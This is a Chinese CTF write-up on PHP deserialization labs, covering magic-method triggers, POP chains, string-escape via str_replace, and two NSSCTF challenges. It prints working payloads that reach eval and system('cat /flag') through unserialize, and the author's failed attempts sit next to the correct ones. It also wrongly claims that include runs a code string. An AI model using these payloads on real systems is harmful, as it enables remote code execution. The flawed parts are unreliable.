//核心漏洞点:将POST参数`o`的内容作为PHP代码执行
//(`eval()`函数直接执行字符串形式的代码)。
} else {`
//若不存在POST参数`o`,则执行`else`分支。
highlight_file(__FILE__);
//高亮显示当前文件(`__FILE__`表示当前脚本路径),即输出代码本身。
}`
//结束`if-else`判断。
漏洞利用思路
由于存在`eval($_POST['o']),
可通过构造POST参数o触发__toString()方法,
读取flag.php:
构造o=echo $obj;`:
将`$obj当作字符串输出,触发__toString(),
执行include 'flag.php'并返回$flag`。
- 实际请求时,通过POST方式提交`o=echo $obj;,即可获取flag值。
思路(本题比较简单)
当一个对象被当作一个字符串被调用。(echo 一个对象时,PHP会尝试将其转为字符串如果类定义了 __toString,就会调用该方法这是对象到字符串的自动转换机制)
调用后就会输出flag
解题
o=echo $obj;


反序列化靶场 关卡 14 : __invoke()
题目

代码审计
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。例如 $obj()。
class FLAG{
function __invoke($x) {
//定义PHP魔术方法`__invoke()`:
//当**对象被当作函数调用**时(如`$obj('参数')),会自动触发该方法,$x`是传入的参数。
if ($x == 'get_flag') {
//方法内的条件判断:若传入的参数$x`等于字符串`'get_flag'`,则执行后续代码。
include 'flag.php';
echo $flag;
}
}
}
$obj = new FLAG();
if(isset($_POST['o'])) {
eval($_POST['o']);
//核心漏洞点:【其实都是老熟人了】
//将POST参数o的内容作为PHP代码直接执行(eval()是高危函数,会执行任意字符串形式的PHP代码)。
} else {
highlight_file(__FILE__);
}
思路
__invoke($x)的触发条件:
将FLAG类的对象当作函数调用(如$obj('参数'))。【要理解这句话的意思】
触发后,若传入的参数$x等于'get_flag',则会输出 flag。
解题
o=$obj('get_flag');

反序列化靶场 关卡 15 : POP链初步
题目

代码审计
class A {
public $a;
public function __construct($a) {
$this->a = $a;
}
}
class B {
public $b;
public function __construct($b) {
$this->b = $b;
}
}
class C {
public $c;
public function __construct($c) {
$this->c = $c;
}
}
class D {
public $d;
public function __construct($d) {
$this->d = $d;
}
public function __wakeUp() {
$this->d->action();
}
}
class destnation {
var $cmd;
public function __construct($cmd) {
$this->cmd = $cmd;
}
public function action(){
eval($this->cmd->a->b->c);
//this是action()函数的初始处,D
}
}
if(isset($_POST['o'])) {
unserialize($_POST['o']);
} else {
highlight_file(__FILE__);
}
//$d是destnation对象 ,同理$cmd是a的对象,a是b的对象,b是c的对象。
代码逐行解释
这段PHP代码定义了一个包含构造方法
和**__wakeUp()魔术方法**的类D,
核心逻辑是在反序列化时调用关联对象的action()方法。
以下是逐行解析:
class D {
//定义名为D的类,用于封装对象初始化和反序列化逻辑。
**public $d;
//`** - 定义类的**公共属性**`
//$d,用于存储一个外部对象(通常是其他类的实例)。
**public function __construct($d) {
//`** - 定义类的**构造方法**:
//当实例化`D`类时(如`new D($obj)),自动调用该方法,
//$d`是传入的参数。
`$this->d = $d;`
//将构造方法传入的参数`$d赋值给类的属性$this->d`,完成对象初始化。
}
//结束构造方法的定义。
public function __wakeUp() {
//`** - 定义PHP魔术方法`__wakeUp()`:当**反序列化**`D`类的对象时
//(如`unserialize($serialized_str)),会自动触发该方法。
**$this->d->action();`
//** - 调用属性`$this->d所指向对象的action()方法:
//要求$this->d`必须是一个包含`action()`方法的对象(否则会报错)。
构造方法:用于初始化`D`类的`$d属性,需传入一个包含action()方法的对象。
__wakeUp()方法:反序列化时自动执行,触发$this->d->action()`,
是**反序列化漏洞**的常见触发点(若`$d指向恶意对象,可能执行任意代码)。
示例场景:若存在一个类E包含action()方法,
则可通过new D(new E())创建D对象,反序列化该对象时会自动调用E::action()。
思路
最怕看到这种一个套一个,
不过一般简单的直接让ai分析一下就能给出答案。
首先当post参数传入后,会执行unserialize,然后有自动执行__wakeup(),$this->d->action();
会调用action()函数,
这里又用到上面说到的对象嵌套 ,一个类属性的值是另一个类的实例,$d是destnation对象 ,同理$cmd是a的对象,a是b的对象,b是c的对象。
$c = new C("system('cat /flag');");
$b = new B($c);
$a = new A($b);
$des = new destnation($a);
$d = new D($des);
echo serialize($d);
补充(对象嵌套的识别方法)
对象嵌套指一个类的属性存储另一个类的实例,可通过类结构定义和实际代码调用逻辑结合识别。以下通过代码示例拆解分析:
1. 从类定义直接识别:属性类型为类
若类的属性明确指向其他类(如public $d;`且`$d是类E的实例),则存在嵌套关系。
示例代码:
// 类E:被嵌套的"内部类"
class E {
public function action() {
echo "执行E的action方法";
}
}
// 类D:嵌套类E的"外部类"
class D {
public $d; // 属性$d存储类E的实例 → 嵌套关系
public function __construct($d) {
$this->d = $d; // 构造时传入E的实例
}
}
// 实际调用:创建嵌套对象
$e_obj = new E(); // 先实例化内部类E
$d_obj = new D($e_obj); // 再将E的实例传入D的构造方法 → 形成嵌套
识别关键点:(详细p下)
- 类
D的属性`d`接收并存储类`E`的实例,即`D`嵌套了`E`。 - 从魔术方法触发逻辑识别:
反序列化中的嵌套 若魔术方法(如`__wakeUp()`)调用属性对象的方法,则该属性必然是其他类的实例,存在嵌套。
- 从函数参数类型约束识别:
还是不懂?(属性$d存储类E的实例)
属性$d`存储类`E`实例的推导依据 从代码的**逻辑关联**和**运行规则**可推导得出,
核心看`$d的赋值来源和方法调用约束:
1. 从构造方法的参数赋值推导
类D的构造方法明确将外部传入的参数$d`赋值给属性`$this->d,若传入的参数是类E的实例,则属性`d‘必然存储‘E‘的实例。
∗∗示例逻辑链∗∗:‘‘‘
1.类E存在,且有action()方法class Epublic function action()
2.类D的构造方法接收参数d,并赋值给属性this->d
class D {
public d;
public function __construct(d) {
this->d = d;【外部来的参数赋值】
}
}
3. 实际调用时,传入E的实例
e_obj = new E(); // 创建E的实例d_obj=new D(e_obj); // 将E的实例传给D的构造方法
**推导结论**:`$d_obj->d`(即属性`$d`)存储的是`$e_obj`,也就是类`E`的实例。
2. 从方法调用的语法约束推导
若类`D`的方法(如`__wakeUp()`)中存在`$this->d->action()`的调用,
PHP语法要求`$this->d`必须是**包含`action()`方法的对象**(否则会报错)。
若类`E`恰好有`action()`方法,则可推导`$d`存储的是`E`的实例。
**示例逻辑链**:
class D {
public $d;
public function __wakeUp() {
$this->d->action(); // 必须调用某个类的action()方法
}
}
class E { public function action() {} } // 唯一有action()的类
// 若反序列化D对象时不报错,说明$d存储的是E的实例
$serialized = serialize(new D(new E()));
unserialize($serialized); // 正常执行→$d是E的实例
推导结论:
$this->d->action()`能正常执行,说明`$d是包含action()的类实例,
结合上下文(如存在类E),可确定$d`存储`E`的实例。
3. 从类型提示的显式声明推导
若代码使用**类型提示**(PHP 7+支持),直接指定构造方法的参数类型为类`E`,则属性`$d必然存储E的实例。
示例逻辑链:
class E { public function action() {} }
class D {
public $d;
// 显式指定参数$d的类型为E类
public function __construct(E $d) {
$this->d = $d;
}
}
// 调用时必须传入E的实例,否则报错
$d_obj = new D(new E()); // 只能传E的实例→$d存储E的实例
```
**推导结论**:类型提示强制约束参数类型,因此属性`$d`的类型必然是类`E`的实例。
### 总结:推导核心
属性`$d`存储类`E`实例的结论,是基于**代码运行的语法规则**和**逻辑关联性**推导的:
- 若`$d`的赋值来源是`E`的实例 → 直接确定;
- 若`$d`调用了`E`的方法 → 间接推导;
- 若类型提示明确指定为`E` → 强制约束。
这三种情况都指向同一个结论:属性`$d`存储类`E`的实例。
解题
O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:20:"system('cat /flag');";}}}}}

分析一下长长滴答案
o= 参数名,传参
序列化字符串解析
这段字符串是PHP序列化后的对象数据,每个部分对应对象的类型、类名、属性等信息,结构可拆解为多层嵌套的对象:
1. 顶层对象:类D
- 结构:
O:1:"D":1:{...}
-
O:表示这是一个对象(Object);1:类名长度为1(即类名是"D");"D":类名;1:该对象有1个属性;{...}:属性的具体内容。
2. 第一层嵌套:类D的属性d
- 结构:
s:1:"d";O:10:"destnation":1:{...}
-
s:1:"d":属性名是字符串(s),长度1,内容为"d";O:10:"destnation":1:{...}:属性d的值是一个对象:
-
-
O:对象类型;10:类名长度为10(即类名是"destnation");"destnation":类名;1:该对象有1个属性。
-
3. 第二层嵌套:类destnation的属性cmd
- 结构:
s:3:"cmd";O:1:"A":1:{...}
-
s:3:"cmd":属性名是字符串,长度3,内容为"cmd";O:1:"A":1:{...}:属性cmd的值是一个对象:
-
-
O:对象类型;1:类名长度为1,内容为"A";"A":类名;1:该对象有1个属性。
-
4. 第三层嵌套:类A的属性a
- 结构:
s:1:"a";O:1:"B":1:{...}
-
s:1:"a":属性名是字符串,长度1,内容为"a";O:1:"B":1:{...}:属性a的值是一个对象:
-
-
O:对象类型;1:类名长度为1,内容为"B";"B":类名;1:该对象有1个属性。
-
5. 第四层嵌套:类B的属性b
- 结构:
s:1:"b";O:1:"C":1:{...}
-
s:1:"b":属性名是字符串,长度1,内容为"b";O:1:"C":1:{...}:属性b的值是一个对象:
-
-
O:对象类型;1:类名长度为1,内容为"C";"C":类名;1:该对象有1个属性。
-
6. 最内层:类C的属性c
- 结构:
s:1:"c";s:20:"system('cat /flag');";
-
s:1:"c":属性名是字符串,长度1,内容为"c";s:20:"system('cat /flag');";:属性c的值是一个字符串:
-
-
s:字符串类型;20:字符串长度为20;"system('cat /flag');";:字符串内容,是一条PHP系统命令(执行cat /flag读取flag文件)。
-
核心含义
这段序列化数据描述了一个多层嵌套的对象链:D → destnation → A → B → C,最终在最内层类C的属性c中存储了恶意系统命令。
这种结构常见于CTF或漏洞测试中,通过反序列化触发对象链执行,最终执行system('cat /flag');获取目标文件内容。
反序列化靶场 关卡 16 : zePOP(综合了。。)
题目

代码审计
__wakeUp() 方法用于反序列化时自动调用。例如 unserialize()。
__invoke() 方法用于一个对象被当成函数时应该如何回应。例如 $obj() 应该显示些什么。
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。
参考10,13,14
class A {
public $a;
public function __invoke() {
include $this->a;
//$this->a`:表示当前类实例的**属性`a`**,
//存储的是一个**文件路径字符串**(如`"config.php"`或`"/var/www/data.txt"`);
return $flag;
}
}
class B {
public $b;
public function __toString() {
$f = $this->b;
return $f();
}
}
class INIT {
public $name;
public function __wakeUp() {
echo $this->name.' is awake!';
}
}
if(isset($_POST['o'])) {
unserialize($_POST['o']);
} else {
highlight_file(__FILE__);
}
思路
还是链子,
INIT::__wakeup() → B::__toString() → A::__invoke() → 包含flag.php并返回flag
<?php
// 1. 创建A对象,$a属性设为'flag.php'
$a = new A();
$a->a = 'flag.php';
// 2. 创建B对象,$b属性指向A对象
$b = new B();
$b->b = $a;
// 3. 创建INIT对象,$name属性指向B对象
$init = new INIT();
$init->name = $b;
// 序列化INIT对象,得到提交的payload
echo serialize($init);
?>
name -> b -> a
解题
__invoke() o=$obj('get_flag');
__toString() o=echo $obj;
__wakeup() o=O:4:"FLAG":0:{}
1. 第一步:反序列化INIT类对象
用户POST传入的$_POST['o']`是`INIT`类的序列化字符串,PHP执行`unserialize($_POST['o'])时,会自动调用INIT类的__wakeup()魔术方法(反序列化时触发)。
2. 第二步:__wakeup()触发__toString()
INIT类的__wakeup()方法执行echo $this->name`,若`$this->name是B类的实例,echo操作会自动调用B类的__toString()魔术方法(对象被当作字符串输出时触发)。
3. 第三步:__toString()触发__invoke()
B类的__toString()方法执行$f = $this->b; return $f();`,若`$this->b是A类的实例,$f()`会自动调用`A`类的`__invoke()`魔术方法(对象被当作函数调用时触发)。
4. 第四步:__invoke()执行恶意代码
`A`类的`__invoke()`方法执行`include $this->a,若$this->a是恶意代码(如system('cat /flag');),PHP会将其当作文件包含并执行(此处利用了include的特性:若路径是PHP代码字符串,会直接执行)。
关键魔术方法作用
|
魔术方法 |
触发时机 |
作用 |
|
|
反序列化对象时 |
启动触发链的入口 |
|
|
对象被 |
连接 |
|
|
对象被当作函数调用时 |
最终执行恶意代码的出口 |
【本人怎么绕不明白啊啊啊啊,】


O:4:"INIT":1:{s:4:"name";O:1:"B":1:{s:1:"b";O:1:"A":1:{s:1:"a";s:20:"system('cat /flag');";}}}
与上一题有一点像
反序列化靶场 关卡 17 : 字符串逃逸基础
题目

代码审计
序列化和反序列化的规则特性_无中生有:当成员属性的实际数量符合序列化字符串中对应属性值时,似乎不会做任何检查?
Class A is NULL: 'O:1:"A":0:{}'
Class B is a class with 3 properties: 'O:1:"B":3:{s:1:"a";s:5:"Hello";s:4:"*b";s:3:"CTF";s:4:"Bc";s:10:"FLAG{TEST}";}'
After replace B with A,we unserialize it and dump :
//将序列化字符串中的类名"B"改为"A",得到新字符串:
O:1:"A":3:{s:1:"a";s:5:"Hello";s:4:"*b";s:3:"CTF";s:4:"Bc";s:10:"FLAG{TEST}";}
object(A)#1 (3) {
["a"]=> string(5) "Hello"
// 类A原本可能没有的公开属性
["b":protected]=> string(3) "CTF"
// 类A原本可能没有的受保护属性
["c":"A":private]=> string(10) "FLAG{TEST}"
// 类A原本可能没有的私有属性
}
<?php
内容展示了PHP反序列化的“类型混淆漏洞”:通过篡改序列化字符串的类名,
将原本属于类B的属性“强行注入”到类A中,
导致类A实例意外获得不属于它的属性(包括受保护/私有属性)。
class A {
}
echo "Class A is NULL: '".serialize(new A())."'<br>";
//作用:定义一个没有任何属性的空类A,并输出其序列化结果。
//输出:Class A is NULL: 'O:1:"A":0:{}'(O:1:"A"表示类A,0表示无属性)。
class B {
public $a = "Hello"; // 公开属性:序列化后为`s:1:"a"`
protected $b = "CTF"; // 受保护属性:序列化后为`s:4:"*b"`(*是受保护标识)
private $c = "FLAG{TEST}"; // 私有属性:序列化后为`s:4:"Bc"`(B是类名前缀)
}
echo "Class B is a class with 3 properties: '".serialize(new B())."'<br>";
//- **作用**:定义包含3种访问修饰符属性的类`B`,并输出其序列化结果。
//- **输出**:
//`Class B is a class with 3 properties:
//'O:1:"B":3:{s:1:"a";s:5:"Hello";s:4:"*b";s:3:"CTF";s:4:"Bc";s:10:"FLAG{TEST}";}'`。
$serliseString = serialize(new B());
$serliseString = str_replace('B', 'A', $serliseString);
//作用:将类B的序列化字符串中的类名"B"替换为"A",制造“类型混淆”的序列化数据。
echo "After replace B with A,we unserialize it and dump :<br>";
var_dump(unserialize($serliseString));
//- **作用**:反序列化篡改后的字符串,观察类`A`实例的结构。
//- **输出**:类`A`实例会被强行注入类`B`的3个属性(公开`$a`、受保护`$b`、私有`$c`),
//结果如你之前提供的`object(A)#1 (3) { ... }`。
if(isset($_POST['o'])) {
$a = unserialize($_POST['o']);
// 反序列化用户传入的POST参数`o`
if ($a instanceof A && $a->helloctfcmd == "get_flag") {
// 校验条件
//作用:这是漏洞的关键触发点,需要用户传入满足条件的序列化数据:
//$a`必须是类`A`的实例(`$a instanceof A);
//$a必须有公开属性helloctfcmd,且值为"get_flag"。
include 'flag.php';
// 满足条件则包含flag文件
echo $flag;
// 输出flag
} else {
echo "what's rule?";
// 不满足则提示错误
}
} else {
highlight_file(__FILE__);
// 未传入POST参数时,显示当前代码
}
思路
【最最简单,从代码里面就可以看见,,当满足校验条件的 时候,就可以输出代码了
而我们所思考的问题,就是要如何满足条件。。。】
要获取flag,需构造满足以下条件的序列化字符串:
- 类名是
A(满足instanceof A); - 包含公开属性
helloctfcmd,值为"get_flag"。
【咦,你发现A是个无属性的破东西,那么如何让他拥有公开属性捏,且有值"get_flag"】
【再看看代码,$serliseString = str_replace('B', 'A', $serliseString);,已经把B的属性给A了,所以拥有属性了,并赋值】
【额,错了错了,这个B,A赋值,和篡改,只是一个例子,其实好像用不上???只是展示了PHP反序列化的特性,并设置了一个简单的漏洞触发条件:用户需传入符合要求的类A序列化数据,利用反序列化的属性注入特性,绕过instanceof和属性值校验,最终获取flag。】
A 类是空类,但反序列化时会根据序列化字符串动态添加属性(即使类本身未定义)
所以直接构造就行
O:1:"A":1:{s:12:"helloctfcmd";s:8:"get_flag";}
【payload直接给你手动加了个属性,当你反序列化的时候,就可以执行那个flag了】
解题
o=O:1:"A":1:{s:12:"helloctfcmd";s:8:"get_flag";}

o=O:1:"A":1:{s:11:"helloctfcmd";s:8:"get_flag";}

下次我一定自己写😭😭😭😭😭
反序列化靶场 关卡 18 : 字符串逃逸基础
题目

代码审计
highlight_file(__FILE__);
//作用:将当前PHP文件的代码以高亮格式输出,方便查看源码。
class Demo {
public $a = "Hello";
public $b = "CTF";
public $key = 'GET_FLAG";}FAKE_FLAG';
//注意字符串中的特殊符号`";}`
}
//**序列化结果**:
//`O:4:"Demo":3:【三个属性】
//{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}`
//(`s:20`表示`$key的值长度为20,实际内容是GET_FLAG";}FAKE_FLAG)【就是要算特殊符号】。
class FLAG {
}
//定义一个无属性的空类FLAG,用于后续校验。
$serliseStringDemo = serialize(new Demo());
$target = $_GET['target']; // 接收GET参数`target`(要替换的内容)
$change = $_GET['change']; // 接收GET参数`change`(替换后的内容)
$serliseStringFLAG = str_replace($target, $change, $serliseStringDemo);
$FLAG = unserialize($serliseStringFLAG);
if ($FLAG instanceof FLAG && $FLAG->key == 'GET_FLAG') {
echo $flag;
}
SerliseStringDemo:
'O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}'
Change SOMETHING TO GET FLAGYour serliaze string is
O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}
And Here is object(Demo)#1 (3) { ["a"]=> string(5) "Hello" ["b"]=> string(3) "CTF" ["key"]=> string(20) "GET_FLAG";}FAKE_FLAG" }
str_replace 函数的用法(补充)
str_replace 是 PHP 中用于字符串替换的核心函数,支持单值替换、多值批量替换等场景。
1. 基本语法
str_replace(
mixed $search, // 要查找的内容(单字符串/数组)
mixed $replace, // 替换后的内容(单字符串/数组)
mixed $subject, // 原始字符串(单字符串/数组)
int &$count = null // 可选:替换的次数(引用传递,需变量接收)
): mixed
2. 核心使用场景
场景1:单值替换
将原始字符串中的单个目标字符串替换为指定内容。
- 示例:
$str = "I love PHP, PHP is fun!";
$new_str = str_replace("PHP", "Python", $str);
echo $new_str; // 输出:I love Python, Python is fun!
【Php为被替换内容,python为替换后内容,$str是所属变量】
场景2:多值批量替换
通过数组一次性替换多个目标内容($search`和`$replace需一一对应)。
- 示例:
$str = "Apple, Banana, Cherry";
$search = ["Apple", "Banana", "Cherry"];
$replace = ["Red", "Yellow", "Pink"];
$new_str = str_replace($search, $replace, $str);
echo $new_str; // 输出:Red, Yellow, Pink
场景3:替换次数统计
通过第4个参数(引用传递)统计实际替换的次数。
- 示例:
$str = "A B A C A";
$count = 0;
$new_str = str_replace("A", "X", $str, $count);
echo $new_str; // 输出:X B X C X
echo $count; // 输出:3(共替换了3次)
```
场景4:数组批量替换
当`$subject`是数组时,会**遍历数组每个元素**进行替换。
示例:
$arr = ["PHP is good", "I like PHP", "PHP is easy"];
$new_arr = str_replace("PHP", "Java", $arr);
print_r($new_arr);
// 输出:Array ( [0] => Java is good [1] => I like Java [2] => Java is easy )
3. 注意事项
- 区分大小写:
str_replace是大小写敏感的,如需忽略大小写,可使用str_ireplace。 - 空字符串替换:若
$search`为空字符串,会直接返回原始字符串(无替换)。 替换顺序:当`$search是数组时,会按数组顺序依次替换,需注意是否存在依赖关系(如先替换a为b,再替换b为c)。
总结
str_replace是PHP中最常用的字符串替换工具,
通过灵活使用单值/数组参数,可高效处理各种文本替换需求。
代码含义解析($serliseStringFLAG = str_replace($target, $change, $serliseStringDemo);)
这行代码的作用是:将变量 $serliseStringDemo`(原始序列化字符串)中的 `$target(要查找的内容)替换为 $change`(替换后的内容),并将结果保存到 `$serliseStringFLAG 中。
逐部分拆解
|
变量/函数 |
含义 |
|
|
PHP 字符串替换函数,核心逻辑是「查找→替换→返回新字符串」。 |
|
|
第一个参数:要在原始字符串中** 如 ` |
|
|
第二个参数:找到 (通常来自用户输入, 如 |
|
|
第三个参数:原始字符串 (这里是类 |
|
|
赋值目标: 替换后的**新字符串**(用于后续反序列化操作)。 |
举个实际例子 假设:
$serliseStringDemo(原始序列化字符串)为:O:4:"Demo":3:{s:1:"a";s:5:"Hello";}$target = "Demo"`(要查找的内容是类名 `Demo`)`$change = "FLAG"(要替换成类名FLAG)
执行代码后,
$serliseStringFLAG` 的结果为: `O:4:"FLAG":3:{s:1:"a";s:5:"Hello";}`
即**将原始序列化字符串中的类名从 `Demo` 替换成了 `FLAG`**。
关键作用
这行代码是**反序列化漏洞**的核心入口:
通过用户可控的 `$target 和 $change,可以篡改原始序列化字符串的结构(如类名、属性值等),从而绕过后续的校验逻辑(比如让反序列化结果变成 FLAG 类的实例)。
例如之前的CTF场景中,就是通过这行代码将 Demo 替换为 FLAG,同时截断多余内容,最终满足输出flag的条件。
思路
【这些题目做下来,感觉基本代码可以阅读没有特别大障碍了哈哈(基础不太好),这种可以先去看他输出flag的条件再逐步往上推】
if ($FLAG instanceof FLAG && $FLAG->key == 'GET_FLAG') {
echo $flag;
}
此为输出flag的条件
这一题主要还是替换,这里用到str_replace函数,简单说str_replace(a,b,c),把c中的a部分替换成b,
O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}
我们要修改Demo类,变为FALG类,并且属性key长度为8
要替换的部分
"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:
替换为
"FALG":1:{s:3:"key";s:8:
替换完后为
O:4:"FALG":1:{s:3:"key";s:8:"GET_FLAG";}FAKE_FLAG";}
到第一个;}已经被识别结尾,FAKE_FLAG";}这一部分会被忽略掉。综上最后payload
?target="Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:&change="FLAG":1:{s:3:"key";s:8:
?target=%22Demo%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A5%3A%22Hello%22%3Bs%3A1%3A%22b%22%3Bs%3A3%3A%22CTF%22%3Bs%3A3%3A%22key%22%3Bs%3A20%3A&change=%22FLAG%22%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A8%3A
解题
o=O:4:"FLAG":1:{s:3:"key";s:8:'GET_FLAG';}

?target=GET_FLAG";}FAKE_FLAG&change=GET_FLAG";}O:4:"FLAG":1:{s:3:"key";s:7:"GET_FLAG";}

?target="Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:&change="FLAG":1:{s:3:"key";s:8:
【列出了要改的内容,以及未改前的内容】

?target=O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}&change=O:4:"FLAG":1:{s:3:"key";s:8:'GET_FLAG';}


?target=O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}&change=O:4:"FLAG":1:{s:3:"key";s:8:"GET_FLAG";}
【好像是单双引号的问题欸】

【
用到了str_replace函数,和;}已经被识别结尾
注意,用这个函数target和change的使用前后,这道题我觉得可以先明确最终想要代码长什么样,再对比源代码,
O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}这是原来的,根据if的要求
O:4:"FLAG":1:{s:3:"key";s:8:'GET_FLAG';}【和我第一次写的差不多】
如何变成呢??
我竟然连,是什么传输类型都不知道!!!!!!
str_replace函数这个函数的使用,将不同的部分替换一下,其实全部换也行,,,,注意别错了!!!!
下方有显示可以看出改前和改后变化,从而来改变内容,,,有点像提示报错。。。
】
[SWPUCTF 2022 新生赛]系列
[SWPUCTF 2021 新生赛]ez_unserialize
https://www.nssctf.cn/problem/426题目来源
题目

尝试与解题
第一步
看题目,无任何内容,可以用后台扫描工具(御剑后台扫描、dirmap等)找找,这里我使用的是disearch
【本人的另一篇文章【web小工具】dirsearch 安装,用法,例题-CSDN博客】
python dirsearch.py -u http://目标网址 -e 后缀名
python dirsearch.py -u http://node4.anna.nssctf.cn:24318/ -e php

注意前三个200的文件哦
临时补充
关于robots.txt,robots协议也称爬虫协议、爬虫规则等,是指网站可建立一个robots.txt文件来告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取,而搜索引擎则通过读取robots.txt文件来识别这个页面是否允许被抓取。
但是,这个robots协议不是防火墙,也没有强制执行力,搜索引擎完全可以忽视robots.txt文件去抓取网页的快照。 如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots元数据(Metadata,又称元数据)。
第二步

Disallow: /cl45s.php 是 Robots协议(robots.txt)中的指令,用于告诉搜索引擎爬虫“禁止访问 /cl45s.php 这个页面”。结合CTF场景,这通常是出题人故意留下的“提示”
进入这个新页面/cl45s.php
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
题目找到了
第三步,代码审计
这段PHP代码是典型的反序列化漏洞场景,核心逻辑是通过构造恶意序列化字符串,触发类的__destruct方法获取flag。以下是逐行解析:
1. 环境初始化
error_reporting(0);
关闭所有PHP错误提示(如警告、通知),避免暴露敏感信息(如文件路径、变量名)。show_source("cl45s.php");
显示当前文件(cl45s.php)的源代码,方便用户查看逻辑(CTF中常见的“源码泄露”提示)。
2. 类定义:wllm
class wllm{ ... }
定义一个名为wllm的类(可能是“walianglaoma”的缩写,无实际意义,仅为类名)。
-
- 属性:
-
-
public $admin;:存储用户身份(默认user)。public $passwd;:存储密码(默认123456)。
-
-
- 构造方法
__construct():
- 构造方法
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
类实例化时自动执行,初始化admin为user,passwd为123456(默认非管理员身份)。
-
- 析构方法
__destruct():
- 析构方法
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
类实例被销毁时自动执行(如脚本结束、变量被unset)。核心逻辑:
-
-
- 若
admin等于"admin"且passwd等于"ctf",则包含flag.php并输出$flag(获取flag的关键条件)。 - 否则输出当前
admin、passwd和提示“Just a bit more!”。
- 若
-
3. 反序列化入口
$p = $_GET['p'];
从URL的p参数中获取用户输入(如?p=xxx)。unserialize($p);
对$p进行反序列化操作,将字符串还原为PHP对象。若$p是恶意构造的wllm类序列化字符串,会直接触发__destruct方法(因为反序列化后对象会被销毁)。
漏洞利用思路
要获取flag,需构造满足admin="admin"且passwd="ctf"的wllm类序列化字符串:
- 构造序列化字符串:
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
(解释:O:4:"wllm"表示对象类型,长度4的类名wllm;2表示2个属性;s:5:"admin"表示字符串类型、长度5的属性名admin,值为s:5:"admin"(长度5的字符串admin);同理passwd的值为ctf。)
- 触发
__destruct:
反序列化后,对象被销毁时自动执行__destruct,满足条件则输出flag。
关键总结
这段代码的漏洞点在于反序列化未过滤用户输入,导致攻击者可通过构造恶意序列化字符串,直接控制类属性值,触发敏感操作(如包含flag.php)。防御此类漏洞需对反序列化输入进行严格校验(如白名单类名、签名验证)。 🛡️
最后答案
?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
[SWPUCTF 2022 新生赛]1z_unserialize
题目来源https://www.nssctf.cn/problem/2883
题目
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
function __destruct()
{
$a = $this->lt;
$a($this->lly);
}
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?>
尝试与解题
代码审计
这段PHP代码存在代码执行漏洞,核心逻辑是通过反序列化构造恶意对象,触发__destruct方法执行任意函数。以下是逐行解释:
1. 类定义:lyh
class lyh{ ... }
定义名为lyh的类(类名无特殊含义,仅为标识)。
-
- 属性:
-
-
public $url = 'NSSCTF.com';:默认URL(无实际作用,可能为干扰项)。public $lt;:存储函数名(待执行的函数)。public $lly;:存储函数参数(传给函数的值)。
-
-
- 析构方法
__destruct():
- 析构方法
function __destruct()
{
$a = $this->lt; // 将$lt的值赋给$a($a成为函数名)
$a($this->lly); // 执行函数:$a(参数) → 即 $lt($lly)
}
类实例被销毁时自动执行,核心逻辑是动态执行函数:
-
-
$a = $this->lt:将$lt的值作为函数名(如system、exec)。$a($this->lly):调用该函数并传入$lly作为参数(如system('whoami'))。
-
2. 反序列化入口
unserialize($_POST['nss']);
从POST参数nss中获取用户输入并反序列化。若nss是恶意构造的lyh类序列化字符串,会直接触发__destruct方法(反序列化后对象销毁)。highlight_file(__FILE__);
显示当前文件源代码(CTF中常见的“源码泄露”提示)。
漏洞利用思路
要执行任意代码(如读取flag),需构造lyh类的序列化字符串,将$lt设为危险函数(如system),$lly设为命令(如cat flag.php):
关键总结
这段代码的漏洞点在于析构方法中动态执行函数,且反序列化输入未过滤。攻击者可通过控制$lt和$lly,执行任意系统命令或PHP函数(如file_get_contents读取文件)。防御需严格限制反序列化的类范围(如白名单),或禁用危险函数。 🚨
构造序列化字符串:
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
